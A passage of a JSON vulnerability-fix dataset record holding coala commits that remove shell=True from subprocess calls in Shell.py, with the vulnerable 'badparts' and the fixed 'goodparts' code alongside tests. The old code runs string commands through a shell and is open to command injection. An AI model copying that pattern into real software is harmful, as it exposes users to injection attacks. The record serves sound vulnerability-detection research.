stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A tuple with ``(stdoutstring, stderrstring)``. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out=run_shell_command(\"echo $host.name\")[0] if out.strip()==\"ConsoleHost\": return \"powershell\" out=run_shell_command(\"echo $0\")[0] if out.strip()==\"$0\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On ``sh`` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in ``universal_newlines`` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out = run_shell_command(\"echo $host.name\")[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n out = run_shell_command(\"echo $0\")[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On ``sh`` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f."}}, "https://github.com/rimacone/testing": {"adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f": {"url": "https://api.github.com/repos/rimacone/testing/commits/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "html_url": "https://github.com/rimacone/testing/commit/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "sha": "adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "keyword": "command injection protect", "diff": "diff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 951052b5..46c264ce 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,34 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,16 +52,26 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n@@ -67,10 +89,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/coalib/tests/bearlib/abstractions/LintTest.py b/coalib/tests/bearlib/abstractions/LintTest.py\nindex fabee38a..4f5a3860 100644\n--- a/coalib/tests/bearlib/abstractions/LintTest.py\n+++ b/coalib/tests/bearlib/abstractions/LintTest.py\n@@ -1,4 +1,5 @@\n import os\n+import platform\n import unittest\n \n from coalib.bearlib.abstractions.Lint import Lint\n@@ -70,7 +71,12 @@ def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\ndiff --git a/coalib/tests/misc/ShellTest.py b/coalib/tests/misc/ShellTest.py\nindex f96080fa..19dfadac 100644\n--- a/coalib/tests/misc/ShellTest.py\n+++ b/coalib/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "message": "", "files": {"/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 20, "remove": 9, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in `universal_newlines` mode.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then).", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " `subprocess.Popen()`), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " The process is opened in `universal_newlines` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then).", " if isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then)."], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using `subprocess.Popen()`) to", " exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " See also `run_interactive_shell_command()`.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then)."]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])", " out_0, _ = run_shell_command([\"echo\", \"$0\"])"], "goodparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)", " out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in `universal_newlines` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised 